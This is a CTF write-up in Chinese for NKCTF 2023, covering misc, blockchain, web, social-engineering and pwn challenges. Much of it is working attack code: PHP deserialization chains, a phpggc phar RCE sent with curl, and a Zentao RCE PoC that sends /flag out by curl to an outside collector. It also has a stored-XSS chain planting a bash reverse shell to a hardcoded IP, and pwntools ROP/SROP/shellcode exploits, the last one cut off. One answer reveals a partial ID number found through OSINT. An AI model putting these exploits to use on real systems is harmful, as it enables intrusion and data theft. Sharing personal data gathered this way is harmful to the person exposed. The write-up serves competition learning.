2023NKCTF-wp

rank:15

Misc

hard-misc

base32,公众号发NKCTF2023我来了!

blue

先导入进vmware,开机发现是windows2008系统,用户带密码

挂载一个2008的iso镜像,设置启动项为cd优先,重启,选择修复计算机,进入命令提示符

复制一份cmd到放大镜

左下角启动放大镜功能后就启动了cmd,修改administrator密码

进入系统

easymusic

根据提示百度搜到了类似的一题2020天翼杯-音频隐写

使用OpenPuff工具

文件尾得到psdC:01374890

频谱找到PSdB:74208645

波形转换得到psdA:83979367

导出flag.txt

easy_rgb

montage+gaps画图
montage *.png -tile 12X15 -geometry +0+0 flag.png
gaps --image=flag.png --generation=30 --population=300 --size=125

得到key:NKCTF2023

r,g,b转成zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
r=open('r.txt').read()
g=open('g.txt').read()
b=open('b.txt').read()
e=""
m=max([len(r),len(b),len(g)])
for i in range(m):
try:
e+=r[i]
except:
pass
try:
e+=g[i]
except:
pass
try:
e+=b[i]
except:
pass
f=open('1.zip','wb')
f.write(bytes.fromhex(e))
print(e)

得到hint:AES-128和data:IBTyf9pgyR9pCERLR5NuOpiONSG1VZptmvUIgoQ/RTEpTZPVTW2a779plBFIvcN+

在线aes-128解密,key为NKCTF2023

first spam of rabbit year

垃圾邮件解密得到佛曰:栗楞穆婆悉遮俱吉室嚧无佛吉埵沙他蒙蒙唎皤啰烁伽驮数迦帝楞萨那摩度驮伽度耶萨那曳喝写怛钵遮耶烁埵室摩迦尼菩呼阇栗墀豆哆烁利吉舍阿萨俱夜嚧蒙喝喝诃罚悉阇喝无数那迦陀室沙穆皤南陀娑利烁输夜输参陀数醯诃提耶钵遮夜栗谨伽俱菩度咩烁室醯迦输诃度唎阇钵无羯栗提摩谨咩悉哆阇室悉钵楞那他伽啰伊耶谨那尼那呼伊罚卢输南喝豆娑伽唎醯嚧那嚧羯摩吉参喝那阿地墀数陀楞啰孕罚度醯菩萨埵埵栗他穆菩参舍迦羯沙啰吉尼楞怛尼孕苏地遮苏提曳谨阇那啰阇南曳输曳伊苏伊度啰咩提苏他他娑驮俱婆钵室利烁俱伽写利羯悉阇遮皤佛南悉阿帝萨喝悉阇参参楞罚皤苏喝墀诃他吉伽提利尼埵啰输嚧醯婆伽墀菩唎娑谨他怛写沙伽啰烁摩栗埵伊啰俱楞帝写地卢利怛吉帝陀阿唵伊伽谨曳阇羯娑羯嚧埵唎烁楞喝曳输他阿室钵谨啰楞他呼娑喝菩哆蒙穆诃婆烁他夜孕穆诃钵佛参室悉舍萨穆室遮阿喝啰伽耶喝漫

社会主义核心价值观解密得到rabbit 又 move

佛曰加个又,key是rabbit,解密得到密文

1
&​​​​‍‎‏auD5​​​​‏‍​v'<)​​​​‏‍‌`h​​​​‎​‏{dF6C_*'Jrcqzrh&ZaF>`g^​​​​‏‍‌Hr'}vuHZJB​​​​‎​‏%~}_H5?gu​​​​‌‏‏;q​​​​‍‏‌)"<rA?{sH2{IfafKfu=6w_tip:47&13

0宽得到key:EnoOoO1G

根据结尾的提示,密文rot47,key rot13

得到U2FsdGVkX19L5uer0YVyC4BKC9U+2um18/wCVNGFw+yqTON0wdn8FjBXQkCpnLDwaLx727z7FleHRabBbB1T

在线rabbit得到NKCTF{H4Ppy_tH3_Y34r_0f_R4BbBbbbB1tTtTtT}

misc?iot!

参考文章

选择arm little-endian

如果要写地址默认为0x8000000

sub_800014C是rc4生成密钥的过程

复制密钥的过程,得到key:NKCTF2023

从V5开始的18个字节是密文,小端序提取出来:245F02E287A0A76C072A75DA3F8A57D71A1F

在线rc4解密得到NKCTF{H3l10_stm32}

easy_word

根据注释中的提示爆破密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashlib
base='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
for j in range(62**4):
d=[]
for i in range(4):
d.append(base[j%62])
j=j//62
d=tuple(d)
e="h%s%svO%s%s0"%d
hash=hashlib.sha256(e.encode()).hexdigest()
if 'b75d1224' in hash[:8]:
print(e)
break
print(e)

改成zip解压,media目录下有一张image1.png,图片上有key:Welcome_to_NKCTF

cloacked-pixel得到flag

三体

stegsolve观察发现greenblue有数据,脚本提取

1
2
3
4
5
6
7
8
9
10
11
from PIL import Image
a=Image.open('3.bmp')
d=a.getdata()
w,h=a.size
e=[]
for y in range(h):
for x in range(w):
i=a.getpixel((x,y))
e.append(chr((i[1]<<8)+i[2]))
f=open('1.txt','w')
f.write(''.join(e))

得到NKCTF{3d77dc1a37b2d1ebf489c973f554ea10}

easy_bmp

在010中分别修改高和宽,得到key:BMP_Height_width_easy

解压后得到flag.bmp,继续爆破宽高,360*360,扫二维码得到flag

NKCTF{eab1291e-9e37-4ff1-b76d-f1af63eaad43}

baby_music

010打开,发现很多重复的10 2711 27

10 27转为011 27转为1

二进制转文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
f=open("flag.wav",'rb')
d=f.read()[0x2c:]
e=[]
q=""
for i in range(0,len(d),2):
if d[i]==0x10:
q+='0'
else:
q+='1'
if len(q)==8:
e.append(int(q,2))
q=""
f=open('flag','wb')
f.write(bytes(e))
f.close()

发现是zip

注释中0转为.1转为-换行转为/

.--/./.-../-.-./---/--/./-/---/-./-.-/-.-./-/..-./--..--/-/...././.--./.-/.../.../.--/---/.-./-../../.../.----/-..../-.../-.--/-/./.../.-./.-/-./-../---/--/.-../-.--/--././-././.-./.-/-/./-../--..--/../.../-/...././.-././.-/-..././-/-/./.-./.--/.-/-.--/-/---/..-/-./.-../---/-.-./-.-/-/...././--../../.--./..--..

解摩斯得到
WELCOME TO NKCTF,THEPASSWORDIS16BYTESRANDOMLYGENERATED,ISTHEREABETTERWAYTOUNLOCKTHEZIP?

根据提示,猜测是深入明文攻击

先构造已知的明文,即flag.png的文件头加IHDR,写入到plain.txt

plain.txt:89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52

使用bkcrack爆破key

bkcrack.exe -C flag.zip -c flag.png -p plain.txt

修改flag.zip的密码

bkcrack.exe -C flag.zip -k 846ad344 02327731 173ff347 -U 1.zip easy

解压得到flag

NKCTF{You_are_very_smart!!}

THMaster

先开启THmaster.exe监听,再开启th12.exe

ce修改分数到2亿多

replay文件夹下的th12_01.rpy中找到flag

easypic

赛后复现

提示出题人把flag偷偷藏在了加密盘里了,你知道怎么把它还原出来吗

先将图片后多余的数据分离,使用veracrypt挂载,密钥为分离出的png

得到flag.png,图片尾得到Tips:566*566

放大图片观察到很多像素点,提取然后拼接

1
2
3
4
5
from PIL import Image

img=Image.open('flag.png')
img=img.resize((566,566),Image.NEAREST)
img.save('out.png')

得到flag
NKCTF{49ce8740502743585c4a44404e62d8f9}

五年Misc,三年模拟

赛后复现(套娃题)

压缩包注释printf("%d%d%d%d%d%d",key[]);

6位数字爆破,得到114514

提示1:“CA1N”也很“疑惑”呢

猜测是要对文件异或

文件头为13 08 40 47,与常见文件头进行异或对比,发现异或0x43后为zip

得到一个加密的压缩包,根据提示2ZipCrypto,猜测是深入明文攻击

echo -n "handsome" > plain.txt
bkcrack -C out.zip -c handsome.zip -p plain.txt -o 30 -x 0 504b0304

改密码

bkcrack -C out.zip -k 0247f1a3 5da9d4ac 1ae8312c -U 1.zip easy

解压出来一个handsome.jpg和带密码的5.rar

自拍照并没什么用,hashcat爆破rar

rar2john提取hash
$rar5$16$6385fa42c4d3cb1318e1ea71c1dcbfa3$15$cc4e558d99f6c846eb0fc54073e2293c$8$03d8cf03ed478602

hashcat爆破密码
hashcat -m 13000 -a 3 $rar5$16$6385fa42c4d3cb1318e1ea71c1dcbfa3$15$cc4e558d99f6c846eb0fc54073e2293c$8$03d8cf03ed478602 ?u?u?u?u?u?u

最终得到密码BUSADJ

解压出的图片尾藏了一个逆序的png

1
2
3
with open('5.png','rb') as f:
with open('6.png','wb') as g:
g.write(f.read()[::-1])

修改高度,得到压缩包的密码be8b06bc13780abf

解压出的GGGGGGG.png结尾有串字符5D93CEB70E2BF5DAA84EC3D0CD2C731A

32位的,推测为md5,在线网站得到qwer1234

拿这个密码去跑cloacked-pixel,得到下一层压缩包密码f442212b3d398a8e

根据提示是steghide爆破,那直接用stegseek跑了,得到下一层密码764dc6c0361fc0fd

看文件头,明显的F5隐写,得到下一层密码un7pXkXMD6J5P5jKzP3FCCVJ4VFtTF26

wav文件,一听就是sstv了,得到NKCTF{iLiKECTFbec@u5eDreaM!}

baby_bitlocker

赛后复现

先做2023.3.2

看的出来,出题人很喜欢明文攻击

pcapng文件格式

echo "4D 3C 2B 1A 01 00 00 00 FF FF FF FF FF FF FF FF" | xxd -r -ps > plain.txt
bkcrack -C crack.zip -c usb.pcapng -p plain.txt -o 8
bkcrack -C crack.zip -k 92ac142d 9bd136b1 ac01a95d -U out.zip easy

解压后得到tonF.docxusb.pcapng

对数据包分析,发现是usb键盘流量,使用UsbMiceDataHacker提取
PassWord:<SPACE>NKCTF2023_YYDS_YYDS!!!<SPACE><SPACE><SPACE><SPACE><SPACE><SPACE><DEL><DEL><DEL><DEL><DEL><DEL>

docx密码为NKCTF2023_YYDS_YYDS!!!

进入文档后发现字体为Byxs20_font

且文档中的内容复制后与文档内不一样了

odttf转ttf

打开/word/fontTable.xml,得到font-nameByxs20_fontfontKey{F68B8FDC-D4B4-41D4-A738-3B7577EC3C9A}

\word\fonts\font1.odttf重命名为F68B8FDC-D4B4-41D4-A738-3B7577EC3C9A.odttf

python转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import os

odttf_name = "./F68B8FDC-D4B4-41D4-A738-3B7577EC3C9A.odttf"
odttf_path = os.path.abspath(odttf_name)

with open(odttf_path, "rb") as f:
data = f.read()

# 获取文件名
file_name = os.path.splitext(odttf_path)[0].split("\\")[-1].replace("-", "")

# 获取key
key = []
for i in range(len(file_name), 0, -2):
key.append(int(file_name[i-2:i], 16))

with open("./font1.ttf", "wb") as f:
for i in range(32):
f.write(bytes([data[i] ^ key[i % len(key)]]))
f.write(data[32:])

fontforge识别

得到一半flag:nkctf{ttf_is_funny_

接着做2023.3.4

内存取证
python vol.py -f memory.raw --profile=Win7SP1x64 filescan | grep -iE "flag|.zip$|.rar$|.7z$|.txt$|.png$|.jpg$|.gif$|.pdf$|.doc$|.docx$|.pcapng$|.raw$|.kdbx$"

提取PYTHON.rar

python vol.py -f memory.raw --profile=Win7SP1x64 dumpfiles -Q 0x0000000017f55070 -D ./

用这个密钥恢复加密分区

得到bitlocker_is_very_interesting}

最后看2023.3.3

hint:flag2图片十分有规律的3x3,到底是来自几进制的秘密呢?

根据提示3x3,猜测是4进制

exiftool得到提示上北下南左西右东

python提取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import cv2

img = cv2.imread("./flag2.png",cv2.IMREAD_UNCHANGED)

r,c = img.shape

#flag_xy = [(0,0),(2,0),(1,1),(0,2),(2,2)]
flag2_xy = [(1,0),(1,2),(0,1),(2,1)]

for y in range(0,r,3):
for x in range(0,c,3):
roi_img = img[y: y+3, x: x+3]

#for i in flag_xy:
# print(chr(roi_img[i[::-1]]),end="")

tmp = ""
for i in flag2_xy:
tmp += str(roi_img[i[::-1]])
print(chr(int(tmp,4)),end="")

得到flag2 is here: images_are_fun_

三段flag拼接起来NKCTF{TTF_IS_FUNNY_IMAGES_ARE_FUN_BITLOCKER_IS_VERY_INTERESTING}

Blockchain

SignIn

区块链浏览器打开地址,flag存储在变量中,在插槽中转换类型为text

HelloWorld

nc后先创建部署题目的合约账户
水龙头转账,部署合约

查看合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pragma solidity 0.8.7;

contract HelloWorld {
string greeting;

constructor(string memory _greeting) public {
greeting = _greeting;
}

function greet() public view returns (string memory) {
return greeting;
}

function setGreeting(string memory _greeting) public {
greeting = _greeting;
}

function isSolved() public view returns (bool) {
string memory expected = "Hello,NKCTF2023";
return keccak256(abi.encodePacked(expected)) == keccak256(abi.encodePacked(greeting));
}
}

调用setGreetinggreeting的值即可

metamask中链接题目给的私链

使用remix ide

编译后指定题目部署的地址

调用setGreeting,参数输出字符串"Hello,NKCTF2023"

在Metamask确认交易请求

等待交易打包,确认上链

decompile_revenge

与第一题一样,不过sha256加密了
在提供的网站上解

NKCTF{This_1s_Decompile_Rev3nge!!!!}

web

baby_php

反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
error_reporting(0);
class Welcome{
public $name;
public $arg = 'oww!man!!';
public function __construct(){
$this->name = 'ItS SO CREAZY';
}
public function __destruct(){
if($this->name == 'welcome_to_NKCTF'){
echo $this->arg;
}
}
}

function waf($string){
if(preg_match('/f|l|a|g|\*|\?/i', $string)){
die("you are bad");
}
}
class Happy{
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
waf($cmd);
eval($shell($cmd));
}
}
class Hell0{
public $func;
public function __toString(){
$function = $this->func;
$function();
}
}

if(isset($_GET['p'])){
unserialize($_GET['p']);
}else{
highlight_file(__FILE__);
}
?>

最终需要在Happy类中执行eval,__invoke在将对象当作函数来使用时调用此方法,在Hell0类中可以调用函数$function()以触发__invoke,而调用函数需要触发__toString方法,而在Welcome类中存在echo,可以触发__toString

反序列化后会有一个waf方法来检查$cmd中的值是否存在f,l,a,g,*,?

列目录:dir /

O:7:"Welcome":2:{s:4:"name";s:16:"welcome_to_NKCTF";s:3:"arg";O:5:"Hell0":1:{s:4:"func";O:5:"Happy":2:{s:5:"shell";s:6:"system";s:3:"cmd";s:5:"dir /";}}}

/f1ag:使用gzdecode编码绕过

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

//$cmd='system("more /*");';
//echo urlencode(gzencode($cmd));

class Welcome{
public $name='welcome_to_NKCTF';
public $arg = 'Hell0';
}
class Happy{
public $shell='gzdecode';
public $cmd='';
function __construct(){
$this->cmd = urldecode('%1F%8B%08%00%00%00%00%00%00%0A%2B%AE%2C.I%CD%D5P%CA%CD%2FJU%D0%D7R%D2%B4%06%00%7B%96%1Bo%12%00%00%00');
}
}
class Hell0{
public $func='Happy';
}

$a = new Welcome();
$a->arg = new Hell0();
$a->arg->func = new Happy();
echo urlencode(serialize($a));
?>

O%3A7%3A%22Welcome%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A16%3A%22welcome_to_NKCTF%22%3Bs%3A3%3A%22arg%22%3BO%3A5%3A%22Hell0%22%3A1%3A%7Bs%3A4%3A%22func%22%3BO%3A5%3A%22Happy%22%3A2%3A%7Bs%3A5%3A%22shell%22%3Bs%3A8%3A%22gzdecode%22%3Bs%3A3%3A%22cmd%22%3Bs%3A38%3A%22%1F%8B%08%00%00%00%00%00%00%0A%2B%AE%2C.I%CD%D5P%CA%CD%2FJU%D0%D7R%D2%B4%06%00%7B%96%1Bo%12%00%00%00%22%3B%7D%7D%7D

eazy_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
highlight_file(__FILE__);
error_reporting(0);
if($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b'])){
if((string)$_POST['c'] != (string)$_POST['d'] && sha1($_POST['c']) === sha1($_POST['d'])){
if($_GET['e'] != 114514 && intval($_GET['e']) == 114514){
if(isset($_GET['NS_CTF.go'])){
if(isset($_POST['cmd'])){
if(!preg_match('/[0-9a-zA-Z]/i', $_POST['cmd'])){
eval($_POST['cmd']);
}else{
die('error!!!!!!');
}
}else{
die('error!!!!!');
}
}else{
die('error!!!!');
}
}else{
die('error!!!');
}
}else{
die('error!!');
}
}else{
die('error!');
}
?>

第一层md5弱比较,使用数组绕过
a[]=1&b[]=2

第二层sha1强比较
c=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&d=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

第三层数字比较缺陷,使用小数类型
e=114514.20

第四层php变量值特性,使用[代替_
NS[CTF.go

第五层无字母数字rce,使用取反
cmd=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);

easy_cms

访问后台/dede/,用户名admin,密码admin

左侧核心栏中有个文件式管理器,可以上传文件

存在过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// 不允许这些字符
$content = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $content);

global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,file_get_contents,highlight_file,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,create_function,array_map,call_user_func,call_user_func_array,array_filert';
foreach (explode(",", $cfg_disable_funs) as $value) {
$value = str_replace(" ", "", $value);
if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{]#i", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
}

if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$content}") == TRUE) {
if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
if(preg_match("#[`][\s\S]*[`]#i", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
}

使用scandir列目录

1
2
3
<?php
var_dump(scandir('/'));
?>

使用include读文件

1
2
3
<?php
include '/f1Aggg';
?>

webpagetest

webpagetest反序列化

AVD-2022-1474319

借助phpggc生成执行cat /flag命令的phar文件并发送

1
2
3
4
5
6
7
./phpggc Monolog/RCE2 system 'cat /flag' -p phar -o testinfo.ini

URLENC_PAYLOAD=$(cat /root/phpggc/testinfo.ini | xxd -p | tr -d "\n" | sed "s#..#%&#g")

curl -sSkig 'http://c7885b16-57d7-4179-8865-f1f0bb4c73af.node2.yuzhian.com.cn/runtest.php' -d 'rkey=gadget' -d "ini=$URLENC_PAYLOAD" -o -

curl -sSkig 'http://c7885b16-57d7-4179-8865-f1f0bb4c73af.node2.yuzhian.com.cn/runtest.php' -d 'rkey=phar:///var/www/html/results/gadget./testinfo.ini/foo' -d "ini=$URLENC_PAYLOAD" -o -

easy_pms

右键查看网页源代码得到版本为18.0.beta1

github搜到poc

修改一下,加个回显,用curl外带到第三方平台
/flag太长用grep+base64筛选

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# -*- coding: UTF-8 -*-
# !/usr/bin/python

'''
权限绕过+RCE POC 伪静态传参版
禅道系统 影响版本 安全版本
开源版 17.4以下的未知版本<=version<=18.0.beta1 18.0.beta2
旗舰版 3.4以下的未知版本<=version<=4.0.beta1 4.0.beta2
企业版 7.4以下的未知版本<=version<=8.0.beta1 8.0.beta2
'''
import requests

proxies = {
#"http": "127.0.0.1:8080",
#"https": "127.0.0.1:8080",
}
def check(url):
# url="http://10.211.55.3:8008"
url1 = url+'/misc-captcha-user.html'
# url1 = url+'/index.php?m=misc&f=captcha&sessionVar=user'#非伪静态版本按照此格式传参
# url2 = url+'/index.php?m=block&f=printBlock&id=1&module=my'#可判断验证绕过的链接
url3 = url + 'repo-create.html'
url4 = url + 'repo-edit-10000-10000.html'
headers={
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
"Accept-Language":"zh-CN,zh;q=0.9",
"Cookie":"zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
}

headers2 = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
"Accept-Language": "zh-CN,zh;q=0.9",
"Cookie": "zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
"Content-Type":"application/x-www-form-urlencoded",
"X-Requested-With":"XMLHttpRequest",
"Referer":url+"/repo-edit-1-0.html"
}

data1 = 'product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid='
data2 = 'SCM=Subversion&client=`curl http://tmar9l37.requestrepo.com/?1=\\`cat /flag|grep NKCTF|base64\\``'
s=requests.session()
try:
req1 = s.get(url1,proxies=proxies,timeout=5,verify=False,headers=headers)
req3 = s.post(url3,data=data1,proxies=proxies,timeout=5,verify=False,headers=headers2)
req4 = s.post(url4,data=data2,proxies=proxies,timeout=5,verify=False,headers=headers2)
print(req4.text)
except Exception as e:
print(e)
return False
if __name__ == '__main__':
print(check("http://9dab2a42-f651-4ef6-86a7-a356af0c7437.node2.yuzhian.com.cn/"))

xiaopi

小皮存储型XSS->rce

参考文章

请求头加上X-Requested-With: XMLHttpRequest就能访问登录框

vps上放定时任务,反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function poc(){
$.get('/service/app/tasks.php?type=task_list',{},function(data){
var id=data.data[0].ID;
$.post('/service/app/tasks.php?type=exec_task',{
tid:id
},function(res2){
$.post('/service/app/log.php?type=clearlog',{

},function(res3){},"json");


},"json");
},"json");
}
function save(){
var data=new Object();
data.task_id="";
data.title="test";
data.exec_cycle="1";
data.week="1";
data.day="3";
data.hour="16";
data.minute = "35";
data.shell='bash -i >& /dev/tcp/20.2.129.79/8888 0>&1';
$.post('/service/app/tasks.php?type=save_shell',data,function(res){
poc();
},'json');
}
save();

python开启一个http服务

python3 -m http.server 7777

在登录处用户名框中插入<script src=http://20.2.129.79:7777/1.js></script>

插入完后等待管理员bot登录,触发计划任务,反弹shell

hard_php

赛后复现

ctfshow的题目加上一些函数禁用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
// not only ++
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['NKCTF'])) {
$NK = $_POST['NKCTF'];
if (is_string($NK)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$NK) && strlen($NK) < 105){
eval($NK);
}else{
echo("hacker!!!");
}
}else{
phpinfo();
}
}
?>

NKCTF=$_=(0/0)._;$_=$_[''=='$'];$_++;$__=$_++;$__=$_++.$__;$_++;$_++;$_='_'.$__.($_++).$_;$$_[__]($$_[_]);&__=shell_exec&_=echo `cat /flag`>/var/www/html/3.txt

url编码后上传

Social Engineering

Bridge

百度识图得到关键信息海口,进新闻得到世纪大桥,在世纪大桥旁边有一个世纪公园

NKCTF{海南省海口市龙华区世纪公园}

两个人的夜晚

根据图上的NCC新城市中心去百度地址

NKCTF{天津市西青区中北镇万卉路3号NCC新城市中心}

狂飙

抖音搜狂飙取景地得到莲平路

NKCTF{广东省江门市蓬江区莲平路}

real-social-engineering

github搜他id,找到博客地址:https://tacooo0o.github.io/

2021年终总结这篇文章中找到驾驶证图片,包含了身份证信息

NKCTF{6107**********4710}

Ferris_Wheel

百度识图得到永川摩天轮渝西等关键词

百度地图找到渝西之眼,组合爆破下地名

NKCTF{重庆市永川区兴龙湖CBD永川里奥特莱斯渝西之眼摩天轮}

旅程的开始

百度地图搜中铁酒店,得到贵阳火车站,实景一点一点与图片对比

NKCTF{贵州省贵阳市南明区遵义路1号}

The other Bridge

百度识图,得到戴家巷崖壁步道

根据提示加个

NKCTF{重庆市江北区嘉陵江畔戴家巷崖壁步道}

decompile

步骤与上面的decompile_revenge一样

NKCTF{N0w_you_kn0w_d3compl1te_bytecode}

pwn

ezshellcode

1
2
3
4
5
6
7
8
from pwn import *
e=ELF('./pwn')
context.binary=e
#p=process('./pwn')
p=remote("node.yuzhian.com.cn:32220")
shell=asm(shellcraft.sh()).rjust(0x100,b'\x90')
p.sendafter(b'min!',shell)
p.interactive()

a_story_of_a_pwner

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
#p=process('./pwn')
p=remote('node.yuzhian.com.cn:36024')
libc=ELF('./libc.so.6')
e=ELF('./pwn')
context.binary=e

p.sendlineafter('> \n','4')
p.readuntil('see this. ')

d=int(p.readline().decode().strip(),16)
print(hex(d))

libc.address=d-libc.sym['puts']
print(hex(libc.address))

rdi=libc.address+0x0019764d
bin_sh=next(libc.search(b'/bin/sh'))
system=libc.sym['system']

p.sendlineafter('> \n','1')
p.sendafter('comment?',p64(bin_sh))

p.sendlineafter('> \n','2')
p.sendafter('corment?',p64(rdi))

p.sendlineafter('> \n','3')
p.sendafter('corMenT?',p64(system))

payload=b'a'*0xa+p64(0x405098)+p64(0x401502)
p.sendlineafter('> \n','4')
p.send(payload)

p.interactive()

ez_stack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
e=ELF('./ez_stack')
context.binary=e
ax_f=0x401146
syscall=0x40114e
bss=e.bss(0x400)

#p=process('./ez_stack')
p=remote('node2.yuzhian.com.cn','39605')

sig=SigreturnFrame()
sig.rax=0
sig.rip=syscall
sig.rdi=0
sig.rsi=bss
sig.rdx=0x200
sig.rsp=bss+8

payload=b'a'*0x10+b'b'*8+p64(ax_f)+p64(syscall)+flat(sig)

p.sendafter('NKCTF!\n',payload)

sig1=SigreturnFrame()
sig1.rax=59
sig1.rdi=bss
sig1.rsi=0
sig1.rdx=0
sig1.rsp=bss+0x200
sig1.rip=syscall

payload1=b'/bin/sh\x00'+p64(ax_f)+p64(syscall)+flat(sig1)
p.send(payload1)


p.interactive()

baby_rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
from LibcSearcher import *
context.log_level='debug'
debug=0
while True:
if debug==1:
p=process("./nkctf_message_boards")
else:
p=remote('node2.yuzhian.com.cn:31457')
try:

e=ELF("nkctf_message_boards")
func='puts'
func_got=e.got[func]
puts=e.plt['puts']
rdi=0x00401413
leave=0x40138a
bss=e.bss(0x200)
read=0x401351
main=e.sym['main']
ret=0x00401434
#gdb.attach(p,'bp 0x401318\nbp 0x40138a')
p.sendlineafter('name: ',b'%41$p')
p.readuntil('Hello, ')
canary=int(p.readuntil('What',drop=1),16)
print(hex(canary))
n=0x30
pad=b'a'*n
payload=pad+p64(ret)*13+p64(rdi)+p64(func_got)+p64(puts)+p64(main)
payload=payload.ljust(0xf8,b'\x00')
payload+=p64(canary)
p.sendafter('NKCTF: ',payload)
p.readuntil('carefully.\n')
d=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00'))
